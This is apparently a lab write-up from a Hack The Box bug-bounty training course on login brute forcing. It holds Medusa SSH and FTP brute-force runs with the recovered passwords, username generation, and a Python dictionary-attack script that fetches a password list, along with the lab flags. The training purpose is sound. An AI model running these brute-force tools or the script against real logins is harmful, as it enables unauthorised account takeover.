ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ubnt (30 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: abc123 (31 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa@123456 (32 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: abcd1234 (33 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1q2w3e4r (34 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123321 (35 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: err (36 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwertyuiop (37 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 87654321 (38 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 987654321 (39 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Eliska81 (40 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123123123 (41 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 11223344 (42 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 987654321 (43 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: demo (44 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12341234 (45 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwerty123 (46 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Admin@123 (47 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1q2w3e4r5t (48 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: pass (49 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Demo@123 (50 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 11111111 (51 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ********** (52 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: azerty (53 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admintelecom (54 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Admin (55 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123meklozed (56 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 666666 (57 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456789 (58 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 121212 (59 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1234qwer (60 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin@123 (61 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1qaz2wsx (62 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: ************* (63 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456789a (64 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa112233 (65 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: asdfghjkl (66 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Password1 (67 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 888888 (68 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin1 (69 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: test (70 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Aa123456@ (71 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: asd123 (72 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: qwer1234 (73 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123qwe (74 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 202020 (75 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: asdf1234 (76 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Abcd@1234 (77 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: banned (78 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12344321 (79 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: aa123456 (80 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1122334455 (81 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Abcd1234 (82 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: guest (83 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 88888888 (84 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Admin123 (85 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: secret (86 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 1122 (87 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: admin1234 (88 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: administrator (89 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Password@123 (90 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 10203040 (91 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: q1w2e3r4 (92 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 12345678a (93 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 555555 (94 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: a123456 (95 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: zxcvbnm (96 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: welcome (97 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Abcd@123 (98 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 101010 (99 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Welcome@123 (100 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: minecraft (101 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123654 (102 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Pass@1234 (103 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 123456a (104 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: India@123 (105 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: Ar123455 (106 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: 159357 (107 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 0 complete) Password: password1 (108 of 200 complete)
ACCOUNT FOUND: [ssh] Host: 94.237.63.24 User: satwossh Password: password1 [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 1 complete) Password: 54321 (109 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.63.24 (1 of 1, 0 complete) User: satwossh (1 of 1, 1 complete) Password: qwe123 (110 of 200 complete)
With satwossh password in hand, time to login in and do some recon, looking for the use of an ftp protocol
Now I have retrieved the login credentials, user and pass for thomas, a quick ssh connection into his account reveals the flag.txt
### What is the flag contained within flag.txt[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-flag-contained-within-flag.txt)
[PreviousRe Walk + Write Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-1/re-walk-+-write-up)
[NextRe Walk + Write Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up)
Last updated 1 year ago
* [LAB](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#lab)
* [What is the username of the ftp user you find via brute-forcing?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing)
* [What is the flag contained within flag.txt](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2#what-is-the-flag-contained-within-flag.txt)
Copy
// Another open shell session
┌──(kali㉿kali)-[~/cbbh/bruteforce]
└─$ ssh satwossh@94.237.63.24 -p 34189
satwossh@94.237.63.24's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ ls
IncidentReport.txt passwords.txt username-anarchy
satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ cat IncidentReport.txt
System Logs - Security Report
Date: 2024-09-06
Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation.
All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server.
Security Operations Team
# view content of user account
satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ ls
IncidentReport.txt passwords.txt username-anarchy
# the Incidient report looks intersting, I will cat it to see what it is.
satwossh@ng-1067736-loginbfsatwo-cqdao-6d4ddfc96c-gh9n7:~$ cat IncidentReport.txt
System Logs - Security Report
Date: 2024-09-06
# all signs point to the ftp user being thomas smith
Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation.
All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server.
Security Operations Teamsatwo
Copy
satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ ls
LICENSE README.md format-plugins.rb names test-names.txt test-names2.txt test-names3.txt username-anarchy
satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ ./username-anarchy Thomas Smith > thomas_smith_usernames.txt
satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ ls
LICENSE format-plugins.rb test-names.txt test-names3.txt username-anarchy
README.md names test-names2.txt thomas_smith_usernames.txt
satwossh@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~/username-anarchy$ medusa -h 127.0.0.1 -U thomas_smith_usernames.txt -P ../passwords.txt -M ftp -t 5
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: picture1 (1 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123456 (2 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 12345678 (3 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123456789 (4 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: password (5 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 111111 (6 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123123 (7 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 12345 (8 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 1234567890 (9 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: senha (10 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 1234567 (11 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qwerty (12 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: abc123 (13 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: Million2 (14 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 000000 (15 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 1234 (16 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: iloveyou (17 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: aaron431 (18 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: password1 (19 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qqww1122 (20 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123 (21 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: omgpop (22 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123321 (23 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 654321 (24 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qwertyuiop (25 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: qwer123456 (26 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 123456a (27 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: a123456 (28 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: 666666 (29 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: asdfghjkl (30 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: ashley (31 of 198 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 0 complete) Password: chocolate! (32 of 198 complete)
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: thomas Password: chocolate! [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: thomas (1 of 15, 1 complete) Password: 987654321 (33 of 198 complete)
Copy
┌──(kali㉿kali)-[~/cbbh/bruteforce]
└─$ ssh thomas@94.237.49.163 -p 44658
thomas@94.237.49.163's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ netstat -tulpn
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ nmap localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-12 20:33 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000073s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
# attempted to connect to the ftp server but was not successful
thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ ftp ftp://thomas:chocolate!@localhost
-bash: !@localhost: event not found
thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ ls
flag.txt
thomas@ng-1067736-loginbfsatwo-vysai-5fbbd866c9-bkcxz:~$ cat flag.txt
HTB{brut3f0rc1ng_succ3ssful}
Copy
HTB{brut3f0rc1ng_succ3ssful}
---
# Dictionary Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/dictionary-attacks.md)
.
LAB[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/dictionary-attacks#lab)
---------------------------------------------------------------------------------------------------------------
Copy
import requests
ip = "94.237.53.5" # Change this to your instance IP address
port = 30890 # Change this to your instance port number
# Download a list of common passwords from the web and split it into lines
passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/500-worst-passwords.txt").text.splitlines()
# Try each password from the list
for password in passwords:
print(f"Attempted password: {password}")
# Send a POST request to the server with the password
response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})
# Check if the server responds with success and contains the 'flag'
if response.ok and 'flag' in response.json():
print(f"Correct password found: {password}")
print(f"Flag: {response.json()['flag']}")
break
[PreviousBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks)
[NextHybrid Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks)
Last updated 1 year ago
Copy
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-keoakwvpzv]─[~]
└──╼ [★]$ python dictionary-solver.py
Attempted password: 123456
Attempted password: password
Attempted password: 12345678
Attempted password: 1234
Attempted password: pussy
Attempted password: 12345
Attempted password: dragon
Attempted password: qwerty
Attempted password: 696969
Attempted password: mustang
Attempted password: letmein
Attempted password: baseball
Attempted password: master
Attempted password: michael
Attempted password: football
Attempted password: shadow
Attempted password: monkey
Attempted password: abc123
Attempted password: pass
Attempted password: fuckme
Attempted password: 6969
Attempted password: jordan
Attempted password: harley
Attempted password: ranger
Attempted password: iwantu
Attempted password: jennifer
Attempted password: hunter
Attempted password: fuck
Attempted password: 2000
Attempted password: test
Attempted password: batman
Attempted password: trustno1
Attempted password: thomas
Attempted password: tigger
Attempted password: robert
Attempted password: access
Attempted password: love
Attempted password: buster
Attempted password: 1234567
Attempted password: soccer
Attempted password: hockey
Attempted password: killer
Attempted password: george
Attempted password: sexy
Attempted password: andrew
Attempted password: charlie
Attempted password: superman
Attempted password: asshole
Attempted password: fuckyou
Attempted password: dallas
Attempted password: jessica
Attempted password: panties
Attempted password: pepper
Attempted password: 1111
Attempted password: austin
Attempted password: william
Attempted password: daniel
Attempted password: golfer
Attempted password: summer
Attempted password: heather
Attempted password: hammer
Attempted password: yankees
Attempted password: joshua
Attempted password: maggie
Attempted password: biteme
Attempted password: enter
Attempted password: ashley
Attempted password: thunder
Attempted password: cowboy
Attempted password: silver
Attempted password: richard
Attempted password: fucker
Attempted password: orange
Attempted password: merlin
Attempted password: michelle
Attempted password: corvette
Attempted password: bigdog
Attempted password: cheese
Attempted password: matthew
Attempted password: 121212
Attempted password: patrick
Attempted password: martin
Attempted password: freedom
Attempted password: ginger
Attempted password: blowjob
Attempted password: nicole
Attempted password: sparky
Attempted password: yellow
Attempted password: camaro
Attempted password: secret
Attempted password: dick
Attempted password: falcon
Attempted password: taylor
Attempted password: 111111
Attempted password: 131313
Attempted password: 123123
Attempted password: bitch
Attempted password: hello
Attempted password: scooter
Attempted password: please
Attempted password: porsche
Attempted password: guitar
Attempted password: chelsea
Attempted password: black
Attempted password: diamond
Attempted password: nascar
Attempted password: jackson
Attempted password: cameron
Attempted password: 654321
Attempted password: computer
Attempted password: amanda
Attempted password: wizard
Attempted password: xxxxxxxx
Attempted password: money
Attempted password: phoenix
Attempted password: mickey
Attempted password: bailey
Attempted password: knight
Attempted password: iceman
Attempted password: tigers
Attempted password: purple
Attempted password: andrea
Attempted password: horny
Attempted password: dakota
Attempted password: aaaaaa
Attempted password: player
Attempted password: sunshine
Attempted password: morgan
Attempted password: starwars
Attempted password: boomer
Attempted password: cowboys
Attempted password: edward
Attempted password: charles
Attempted password: girls
Attempted password: booboo
Attempted password: coffee
Attempted password: xxxxxx
Attempted password: bulldog
Attempted password: ncc1701
Attempted password: rabbit
Attempted password: peanut
Attempted password: john
Attempted password: johnny
Attempted password: gandalf
Attempted password: spanky
Attempted password: winter
Attempted password: brandy
Attempted password: compaq
Attempted password: carlos
Attempted password: tennis
Attempted password: james
Attempted password: mike
Attempted password: brandon
Attempted password: fender
Attempted password: anthony
Attempted password: blowme
Attempted password: ferrari
Attempted password: cookie
Attempted password: chicken
Attempted password: maverick
Attempted password: chicago
Attempted password: joseph
Attempted password: diablo
Attempted password: sexsex
Attempted password: hardcore
Attempted password: 666666
Attempted password: willie
Attempted password: welcome
Attempted password: chris
Attempted password: panther
Attempted password: yamaha
Attempted password: justin
Attempted password: banana
Attempted password: driver
Attempted password: marine
Attempted password: angels
Attempted password: fishing
Attempted password: david
Attempted password: maddog
Attempted password: hooters
Attempted password: wilson
Attempted password: butthead
Attempted password: dennis
Attempted password: fucking
Attempted password: captain
Attempted password: bigdick
Attempted password: chester
Attempted password: smokey
Attempted password: xavier
Attempted password: steven
Attempted password: viking
Attempted password: snoopy
Attempted password: blue
Attempted password: eagles
Attempted password: winner
Attempted password: samantha
Attempted password: house
Attempted password: miller
Attempted password: flower
Attempted password: jack
Attempted password: firebird
Attempted password: butter
Attempted password: united
Attempted password: turtle
Attempted password: steelers
Attempted password: tiffany
Attempted password: zxcvbn
Attempted password: tomcat
Attempted password: golf
Attempted password: bond007
Attempted password: bear
Attempted password: tiger
Attempted password: doctor
Attempted password: gateway
Correct password found: gateway
Flag: HTB{Brut3_F0rc3_M4st3r}
---
# Brute-Forcing Passwords | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
